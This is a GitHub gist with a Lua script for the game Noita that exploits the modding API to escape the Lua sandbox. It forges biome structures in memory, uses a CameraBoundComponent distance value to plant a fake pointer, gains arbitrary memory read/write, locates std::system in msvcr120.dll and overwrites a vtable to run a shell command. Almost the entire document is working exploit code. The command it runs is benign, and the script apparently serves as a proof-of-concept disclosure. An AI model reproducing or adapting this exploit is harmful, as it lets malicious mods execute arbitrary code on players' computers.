Skip to content

Instantly share code, notes, and snippets.

@dextercd
Created August 26, 2024 18:42
Show Gist options
  • Save dextercd/cc39bde0cdf5dd711cb3c37821807f1b to your computer and use it in GitHub Desktop.
Save dextercd/cc39bde0cdf5dd711cb3c37821807f1b to your computer and use it in GitHub Desktop.
local ModTextFileSetContent = ModTextFileSetContent
local inert_entity = "<Entity/>"
ModTextFileSetContent("data/entities/player.xml", inert_entity)
ModTextFileSetContent("data/scripts/biome_map.lua", "--")
local new_file_index = 0
function new_file_name()
new_file_index = new_file_index + 1
return "data/" .. new_file_index .. ".xml"
end
function as_binary(number)
local sign = bit.band(0x80000000, number) == 0 and 1 or - 1
local exp_ = bit.rshift(bit.band(0x7f800000, number), 23)
local sig = bit.band(0x7fffff, number)
local leading = exp_ == 0 and 0 or 1
local exponent = exp_ == 0 and -126 or exp_ - 127
return sign * (leading + sig / 0x800000) * 2^exponent
end
function number_to_le_str(nr)
return string.char(
bit.band(bit.rshift(nr, 0), 0xff),
bit.band(bit.rshift(nr, 8), 0xff),
bit.band(bit.rshift(nr, 16), 0xff),
bit.band(bit.rshift(nr, 24), 0xff)
)
end
function get_lua_addr(object)
return tonumber(("%p"):format(object), 16)
end
function str_addr(str)
return get_lua_addr(str) + 16
end
function make_biomes_data()
biome_a = table.concat({
number_to_le_str(0x00fe7bfc),
string.rep("\x00", 0x4),
-- name
string.rep("\xff", 4), string.rep("\x00", 12),
number_to_le_str(4), -- length
number_to_le_str(16), -- capacity
string.rep("\x00", 0x2b8),
-- mDebugFilename
"a", string.rep("\x00", 15),
number_to_le_str(1),
number_to_le_str(15),
})
-- biome_b points into biome_a so we can write into it and make biome_a
-- reference other memory locations.
biome_b = table.concat({
number_to_le_str(0x00fe7bfc),
string.rep("\x00", 0x4),
-- name
number_to_le_str(str_addr(biome_a) + 8), string.rep("\x00", 12),
number_to_le_str(0), -- length
number_to_le_str(16), -- capacity
string.rep("\x00", 0x2b8),
-- mDebugFilename
"b", string.rep("\x00", 15),
number_to_le_str(1),
number_to_le_str(15),
})
pbiome_array = table.concat({
number_to_le_str(str_addr(biome_a)),
number_to_le_str(str_addr(biome_b)),
})
pbiome_vec_start = str_addr(pbiome_array)
return table.concat({
string.rep("\x00", 0x94),
number_to_le_str(pbiome_vec_start),
number_to_le_str(pbiome_vec_start + #pbiome_array),
number_to_le_str(pbiome_vec_start + #pbiome_array),
})
end
function make_world_data()
biomes_data = make_biomes_data()
return table.concat({
string.rep("\x00", 0x48),
number_to_le_str(str_addr(biomes_data)),
})
end
function fake_gg_template(i)
world_data = make_world_data()
return table.concat({
string.rep("\x00", 0xc),
number_to_le_str(str_addr(world_data)),
string.rep("\x00", 0x200),
tostring(i),
})
end
function fake_gg()
local ws = EntityGetFirstComponent(GameGetWorldStateEntity(), "WorldStateComponent")
local i = 0
while true do
local fg = fake_gg_template(i)
local encoded_addr = as_binary(str_addr(fg))
-- Game stores max_distance*max_distance in the target memory location,
-- so we need to get the square root of the encoded address and use
-- that. To account for floating point imprecision we check if the root
-- can be converted back to the exact target value.
-- Convert Lua double to float for more accurate check here
ComponentSetValue2(ws, "fog", math.sqrt(encoded_addr))
local root_addr = ComponentGetValue2(ws, "fog")
if root_addr^2 == encoded_addr then
-- Found working value
return fg, root_addr
end
i = i + 1
end
end
function OnPlayerSpawned()
fg, fg_addr = fake_gg()
-- Looks to have this initial value after mod initialisation completes
local next_idx = 772
-- GG is at this idx
local GG_idx = 4786
local ws = EntityGetFirstComponent(GameGetWorldStateEntity(), "WorldStateComponent")
ComponentSetValue(ws, "time", "0")
while next_idx ~= GG_idx do
f = new_file_name()
ModTextFileSetContent(f, inert_entity)
EntityLoadCameraBound(f, 0, 0)
next_idx = next_idx + 1
end
f = new_file_name()
ModTextFileSetContent(f, inert_entity)
e = EntityLoad(f)
EntityAddComponent2(e, "CameraBoundComponent", {
distance = fg_addr,
distance_border = 0,
})
next_idx = next_idx + 1
-- We now have two biomes. Biome a's name field can be used to read/write to
-- a memory address specified by Biome b's name.
function read_int(addr)
BiomeSetValue("b", "name", number_to_le_str(addr))
bytes = BiomeGetValue("a", "name")
local value = 0
for i=1,math.min(#bytes, 4) do
value = value + string.byte(bytes, i) * math.pow(256, i - 1)
end
return value
end
function write_int(addr, value)
BiomeSetValue("b", "name", number_to_le_str(addr))
BiomeSetValue("a", "name", number_to_le_str(value))
end
-- Find the address of printf in msvcr120.dll
-- std::system is a certain distance away from this function.
printf_addr = read_int(0x00f05468)
system_addr = printf_addr - 0x2717
-- Fake vtable that we put in the world state component
world_state_vtable = table.concat({
string.rep("\x00", 15 * 4),
number_to_le_str(system_addr),
})
world_state_comp_addr = read_int(0x01202f90)
write_int(world_state_comp_addr, str_addr(world_state_vtable))
-- This function calls into the virtual function we changed to std::system.
-- Leave an ominous text file in the Noita directory.
ComponentObjectSetValue2(ws, "echo Hi>dex.txt", "", "")
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment